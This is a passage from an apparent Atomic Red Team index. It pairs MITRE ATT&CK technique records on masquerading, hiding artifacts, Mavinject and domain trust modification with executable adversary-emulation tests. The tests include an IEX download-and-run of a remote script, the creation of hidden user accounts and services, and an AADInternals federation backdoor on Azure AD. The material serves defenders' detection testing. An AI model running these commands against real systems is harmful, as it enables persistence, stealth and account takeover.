      created: '2019-12-19T21:05:38.123Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1542/003
        external_id: T1542.003
      - source_name: Mandiant M Trends 2016
        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
          March 5, 2019.
        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
      - source_name: Lau 2011
        description: Lau, H. (2011, August 8). Are MBR Infections Back in Fashion?
          (Infographic). Retrieved November 13, 2014.
        url: http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
    atomic_tests: []
  T1218.013:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9
      created: '2021-09-22T17:45:10.241Z'
      x_mitre_version: '2.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1218.013
        url: https://attack.mitre.org/techniques/T1218/013
      - source_name: ATT Lazarus TTP Evolution
        url: https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution
        description: Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and
          evolution. Retrieved September 22, 2021.
      - source_name: LOLBAS Mavinject
        url: https://lolbas-project.github.io/lolbas/Binaries/Mavinject/
        description: LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021.
      - source_name: Mavinject Functionality Deconstructed
        url: https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e
        description: Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed.
          Retrieved September 22, 2021.
      - source_name: Reaqta Mavinject
        url: https://reaqta.com/2017/12/mavinject-microsoft-injector/
        description: 'Reaqta. (2017, December 16). From False Positive to True Positive:
          the story of Mavinject.exe, the Microsoft Injector. Retrieved September
          22, 2021.'
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may abuse mavinject.exe to proxy execution of malicious
        code. Mavinject.exe is the Microsoft Application Virtualization Injector,
        a Windows utility that can inject code into external processes as part of
        Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries
        may abuse mavinject.exe to inject malicious DLLs into running processes (i.e.
        [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)),
        allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe
        PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation:
        Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft,
        proxying execution via this method may evade detection by security products
        because the execution is masked under a legitimate process. \n\nIn addition
        to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001),
        Mavinject.exe can also be abused to perform import descriptor injection via
        its  <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe
        PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would
        inject an import table entry consisting of the specified DLL into the module
        at the given base address.(Citation: Mavinject Functionality Deconstructed)"
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Mavinject
      x_mitre_detection: |-
        Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.

        Adversaries may rename abusable binaries to evade detections, but the argument <code>INJECTRUNNING</code> is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1036.005:
    technique:
      modified: '2023-09-14T21:12:48.409Z'
      name: 'Masquerading: Match Legitimate Name or Location'
      description: |-
        Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.

        Adversaries may also use the same icon of the file they are trying to mimic.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.

        If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)

        In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'Image: Image Metadata'
      - 'Process: Process Metadata'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Application Control
      type: attack-pattern
      id: attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2
      created: '2020-02-10T20:43:10.239Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1036/005
        external_id: T1036.005
      - source_name: Twitter ItsReallyNick Masquerading Update
        description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading.
          Retrieved April 22, 2019.
        url: https://twitter.com/ItsReallyNick/status/1055321652777619457
      - source_name: Docker Images
        description: Docker. (n.d.). Docker Images. Retrieved April 6, 2021.
        url: https://docs.docker.com/engine/reference/commandline/images/
      - source_name: Elastic Masquerade Ball
        description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball.
          Retrieved October 31, 2016.'
        url: https://www.elastic.co/blog/how-hunt-masquerade-ball
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1036.005
    atomic_tests:
    - name: Execute a process from a directory masquerading as the current parent
        directory.
      auto_generated_guid: 812c3ab8-94b0-4698-a9bf-9420af23ce24
      description: 'Create and execute a process from a directory masquerading as
        the current parent directory (`...` instead of normal `..`)

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        test_message:
          description: Test message to echo out to the screen
          type: string
          default: Hello from the Atomic Red Team test T1036.005#1
      executor:
        name: sh
        elevation_required: false
        command: |
          mkdir $HOME/...
          cp $(which sh) $HOME/...
          $HOME/.../sh -c "echo #{test_message}"
        cleanup_command: |
          rm -f $HOME/.../sh
          rmdir $HOME/.../
    - name: Masquerade as a built-in system executable
      auto_generated_guid: 35eb8d16-9820-4423-a2a1-90c4f5edd9ca
      description: 'Launch an executable that attempts to masquerade as a legitimate
        executable.

        '
      supported_platforms:
      - windows
      input_arguments:
        executable_filepath:
          description: File path where the generated executable will be dropped and
            executed from. The filename should be the name of a built-in system utility.
          type: string
          default: "$Env:windir\\Temp\\svchost.exe"
      executor:
        command: |
          Add-Type -TypeDefinition @'
          public class Test {
              public static void Main(string[] args) {
                  System.Console.WriteLine("tweet, tweet");
              }
          }
          '@ -OutputAssembly "#{executable_filepath}"

          Start-Process -FilePath "#{executable_filepath}"
        cleanup_command: 'Remove-Item -Path "#{executable_filepath}" -ErrorAction
          Ignore

          '
        name: powershell
  T1600:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8
      type: attack-pattern
      created: '2020-10-19T18:47:08.759Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1600
        url: https://attack.mitre.org/techniques/T1600
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: Weaken Encryption
      description: |-
        Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)

        Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.

        Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: There is no documented method for defenders to directly identify
        behaviors that weaken encryption. Detection efforts may be focused on closely
        related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).
        Some detection methods require vendor support to aid in investigation.
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_defense_bypassed:
      - Encryption
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1036.008:
    technique:
      modified: '2023-06-14T23:03:51.540Z'
      name: Masquerade File Type
      description: "Adversaries may masquerade malicious payloads as legitimate files
        through changes to the payload's formatting, including the file’s signature,
        extension, and contents. Various file types have a typical standard format,
        including how they are encoded and organized. For example, a file’s signature
        (also known as header or magic bytes) is the beginning bytes of a file and
        is often used to identify the file’s type. For example, the header of a JPEG
        file,  is <code> 0xFF 0xD8</code> and the file extension is either `.JPE`,
        `.JPEG` or `.JPG`. \n\nAdversaries may edit the header’s hex code and/or the
        file extension of a malicious payload in order to bypass file validation checks
        and/or input sanitization. This behavior is commonly used when payload files
        are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105))
        and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001))
        so that adversaries may move their malware without triggering detections.
        \n\nCommon non-executable file types and extensions, such as text files (`.txt`)
        and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign.
        \ Based on this, adversaries may use a file extension to disguise malware,
        such as naming a PHP backdoor code with a file name of <code>test.gif</code>.
        A user may not know that a file is malicious due to the benign appearance
        and file extension.\n\nPolygot files, which are files that have multiple different
        file types and that function differently based on the application that will
        execute them, may also be used to disguise malicious malware and capabilities.(Citation:
        polygot_icedID)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - CrowdStrike Falcon OverWatch
      - Ben Smith, @ezaspy
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471
      created: '2023-03-08T22:40:06.918Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1036/008
        external_id: T1036.008
      - source_name: polygot_icedID
        description: 'Lim, M. (2022, September 27). More Than Meets the Eye: Exposing
          a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.'
        url: https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1564:
    technique:
      modified: '2024-03-29T17:45:48.126Z'
      name: Hide Artifacts
      description: |-
        Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)

        Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: Monitor files, processes, and command-line arguments for
        actions indicative of hidden artifacts. Monitor event and authentication logs
        for records of hidden artifacts being used. Monitor the file system and shell
        commands for hidden attribute usage.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'Application Log: Application Log Content'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Firmware: Firmware Modification'
      - 'Service: Service Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Script: Script Execution'
      - 'User Account: User Account Creation'
      - 'Process: OS API Execution'
      - 'User Account: User Account Metadata'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8
      created: '2020-02-26T17:41:25.933Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1564
        external_id: T1564
      - source_name: Cybereason OSX Pirrit
        description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved
          December 10, 2021.
        url: https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
      - source_name: MalwareBytes ADS July 2015
        description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams.
          Retrieved March 21, 2018.
        url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
      - source_name: Sofacy Komplex Trojan
        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
        url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
      - source_name: Sophos Ragnar May 2020
        description: SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys
          virtual machine to dodge security. Retrieved June 29, 2020.
        url: https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1564
    atomic_tests:
    - name: Extract binary files via VBA
      auto_generated_guid: 6afe288a-8a8b-4d33-a629-8d03ba9dad3a
      description: "This module extracts a binary (calc.exe) from inside of another
        binary. \n\nIn the wild maldoc authors will use this technique to hide binaries
        inside of files stored \nwithin the office document itself. An example of
        this technique can be seen in sample\n\nf986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226\n\nThis
        sample contains a document inside of itself. Document 1 is the actual maldoc
        itself, document 2\nis the same document without all the malicious code. Document
        1 will copy Document 2 to the file system\nand then \"peek\" inside of this
        document and pull out the oleObject.bin file. Contained inside of this\noleObject.bin
        file is a payload that is parsed out and executed on the file system.\n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft Word must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "Word.Application" | Out-Null
            Stop-Process -Name "winword"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually
          to meet this requirement"

          '
      executor:
        command: |
          $macro = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1564\src\T1564-macrocode.txt")
          $macro = $macro -replace "aREPLACEMEa", "PathToAtomicsFolder\T1564\bin\extractme.bin"
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroCode "$macro" -officeProduct "Word" -sub "Extract" -NoWrap
        cleanup_command: 'Remove-Item "$env:TEMP\extracted.exe" -ErrorAction Ignore

          '
        name: powershell
    - name: Create a Hidden User Called "$"
      auto_generated_guid: 2ec63cc2-4975-41a6-bf09-dffdfb610778
      description: Creating a user with a username containing "$"
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: true
        command: net user $ ATOMIC123! /add /active:yes
        cleanup_command: net user $ /DELETE 2>&1
    - name: Create an "Administrator " user (with a space on the end)
      auto_generated_guid: 5bb20389-39a5-4e99-9264-aeb92a55a85c
      description: Creating a user with a username containing with a space on the
        end
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: true
        command: New-LocalUser -Name "Administrator " -NoPassword
        cleanup_command: Remove-LocalUser -Name "Administrator " 2>&1 | out-null
    - name: Create and Hide a Service with sc.exe
      auto_generated_guid: 333c7de0-6fbe-42aa-ac2b-c7e40b18246a
      description: |
        The following technique utilizes sc.exe and sdset to change the security descriptor of a service and "hide" it from Get-Service or sc query.

        Upon successful execution, sc.exe creates a new service changes the security descriptor.

        https://twitter.com/Alh4zr3d/status/1580925761996828672
        https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format
      supported_platforms:
      - windows
      input_arguments:
        service_name:
          description: Name of service to create
          type: string
          default: AtomicService
        executable_command:
          description: Command to execute as a service
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          sc.exe create #{service_name} binPath= "#{executable_command}"
          sc sdset #{service_name} "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
        cleanup_command: |
          sc sdset #{service_name} "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
          sc.exe delete #{service_name}
        name: command_prompt
        elevation_required: true
    - name: Command Execution with NirCmd
      auto_generated_guid: 2748ab4a-1e0b-4cf2-a2b0-8ef765bec7be
      description: |
        NirCmd is used by threat actors to execute commands, which can include recon and privilege escalation via running commands via the SYSTEM account
        See https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis
      supported_platforms:
      - windows
      input_arguments:
        nircmd_location:
          description: Location of nircmd executable
          type: Path
          default: PathToAtomicsFolder\..\ExternalPayloads\nircmd.exe
        command_to_execute:
          description: Command for nircmd to execute
          type: Path
          default: win child class "Shell_TrayWnd" hide class "TrayClockWClass"
        cleanup_command_to_execute:
          description: Cleanup command to undo the arbitrary command ran by nircmd
          type: Path
          default: win child class "Shell_TrayWnd" show class "TrayClockWClass"
      dependency_executor_name: powershell
      dependencies:
      - description: 'The Nircmd executable must exist at (#{nircmd_location})

          '
        prereq_command: 'if (Test-Path "#{nircmd_location}") {exit 0} else {exit 1}

          '
        get_prereq_command: "New-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\"
          -ErrorAction Ignore -Force | Out-Null\ninvoke-webrequest \"https://www.nirsoft.net/utils/nircmd-x64.zip\"
          -outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\nircmd.zip\" \nexpand-archive
          -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\nircmd.zip\" -destinationpath
          \"PathToAtomicsFolder\\..\\ExternalPayloads\\\"\n"
      executor:
        command: 'cmd /c "#{nircmd_location}" #{command_to_execute}

          '
        cleanup_command: 'cmd /c "#{nircmd_location}" #{cleanup_command_to_execute}
          -erroraction silentlycontinue | out-null

          '
        name: powershell
        elevation_required: false
  T1484.002:
    technique:
      modified: '2024-04-19T04:27:51.388Z'
      name: Domain Trust Modification
      description: "Adversaries may add new domain trusts, modify the properties of
        existing domain trusts, or otherwise change the configuration of trust relationships
        between domains and tenants to evade defenses and/or elevate privileges.Trust
        details, such as whether or not user identities are federated, allow authentication
        and authorization properties to apply between domains or tenants for the purpose
        of accessing shared resources.(Citation: Microsoft - Azure AD Federation)
        These trust objects may include accounts, credentials, and other authentication
        material applied to servers, tokens, and domains.\n\nManipulating these trusts
        may allow an adversary to escalate privileges and/or evade defenses by modifying
        settings to add objects which they control. For example, in Microsoft Active
        Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002)
        without the need to compromise the signing certificate to forge new credentials.
        Instead, an adversary can manipulate domain trusts to add their own signing
        certificate. An adversary may also convert an AD domain to a federated domain
        using Active Directory Federation Services (AD FS), which may enable malicious
        trust modifications such as altering the claim issuance rules to log in any
        valid set of credentials as a specified user.(Citation: AADInternals zure
        AD Federated Domain) \n\nAn adversary may also add a new federated identity
        provider to an identity tenant such as Okta, which may enable the adversary
        to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation
        2023)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Blake Strom, Microsoft 365 Defender
      - Praetorian
      - Obsidian Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)

        Monitor for PowerShell commands such as: <code>Update-MSOLFederatedDomain –DomainName: "Federated Domain Name"</code>, or <code>Update-MSOLFederatedDomain –DomainName: "Federated Domain Name" –supportmultipledomain</code>.(Citation: Microsoft - Update or Repair Federated domain)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Azure AD
      - SaaS
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Application Log: Application Log Content'
      - 'Active Directory: Active Directory Object Modification'
      - 'Active Directory: Active Directory Object Creation'
      x_mitre_permissions_required:
      - Administrator
      type: attack-pattern
      id: attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee
      created: '2020-12-28T21:59:02.181Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1484/002
        external_id: T1484.002
      - source_name: CISA SolarWinds Cloud Detection
        description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
          in Microsoft Cloud Environments. Retrieved January 8, 2021.
        url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
      - source_name: AADInternals zure AD Federated Domain
        description: Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability
          in Azure AD & Office 365 identity federation. Retrieved September 28, 2022.
        url: https://o365blog.com/post/federation-vulnerability/
      - source_name: Microsoft - Azure AD Federation
        description: Microsoft. (2018, November 28). What is federation with Azure
          AD?. Retrieved December 30, 2020.
        url: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
      - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
        description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
          December 30, 2020.
        url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
      - source_name: Microsoft - Update or Repair Federated domain
        description: Microsoft. (2020, September 14). Update or repair the settings
          of a federated domain in Office 365, Azure, or Intune. Retrieved December
          30, 2020.
        url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
      - source_name: Okta Cross-Tenant Impersonation 2023
        description: 'Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant
          Impersonation: Prevention and Detection. Retrieved February 15, 2024.'
        url: https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
      - source_name: Sygnia Golden SAML
        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
          Attack. Retrieved January 6, 2021.
        url: https://www.sygnia.co/golden-saml-advisory
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1484.002
    atomic_tests:
    - name: Add Federation to Azure AD
      auto_generated_guid: 8906c5d0-3ee5-4f63-897a-f6cafd3fdbb7
      description: |
        Add a new federated domain to Azure AD using PowerShell.
        The malicious domain to be federated must be configured beforehand (outside of the scope of this test):
            1. Open Azure Portal
            2. Add a new "custom domain name"
            3. Verify the domain by following instructions (i.e. create the requested DNS record)
      supported_platforms:
      - azure-ad
      input_arguments:
        azure_username:
          description: Username of a privileged Azure AD account such as External
            Identity Provider Administrator or Global Administrator roles
          type: string
          default: bruce.wayne@contosocloud.com
        azure_password:
          description: Password of azure_username
          type: string
          default: iamthebatman
        domain_name:
          description: Malicious federated domain name
          type: string
          default: contoso.com
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureAD and AADInternals Powershell modules must be installed.

          '
        prereq_command: 'if ((Get-Module -ListAvailable -Name AzureAD) -And (Get-Module
          -ListAvailable -Name AADInternals)) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          Install-Module -Name AzureAD -Force
          Install-Module -Name AADInternals -Force
      executor:
        command: |
          Import-Module AzureAD
          Import-Module AADInternals

          $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword

          try {
            Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null
          }
          catch {
            Write-Host "Error: AzureAD could not connect"
            exit 1
          }

          try {
            $domain = Get-AzureADDomain -Name "#{domain_name}"
          }
          catch {
            Write-Host "Error: domain ""#{domain_name}"" not found"
            exit 1
          }
          if (-Not $domain.IsVerified) {
            Write-Host "Error: domain ""#{domain_name}"" not verified"
            exit 1
          }

          if ($domain.AuthenticationType -eq "Federated") {
            Write-Host "Error: domain ""#{domain_name}"" already federated. Try with a different domain or re-create it before."
            exit 1
          }

          $at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential
          if (-Not $at) {
            Write-Host "Error: AADInternals could not connect"
            exit 1
          }

          $new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName "#{domain_name}"
          if ($new) {
            Write-Host "Federation successfully added to Azure AD"
            Write-Host $new
          }
          else {
            Write-Host "The federation setup failed"
          }

          Write-Host "End of federation configuration."
        cleanup_command: |
          try {
            Import-Module AzureAD -ErrorAction Ignore

            $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
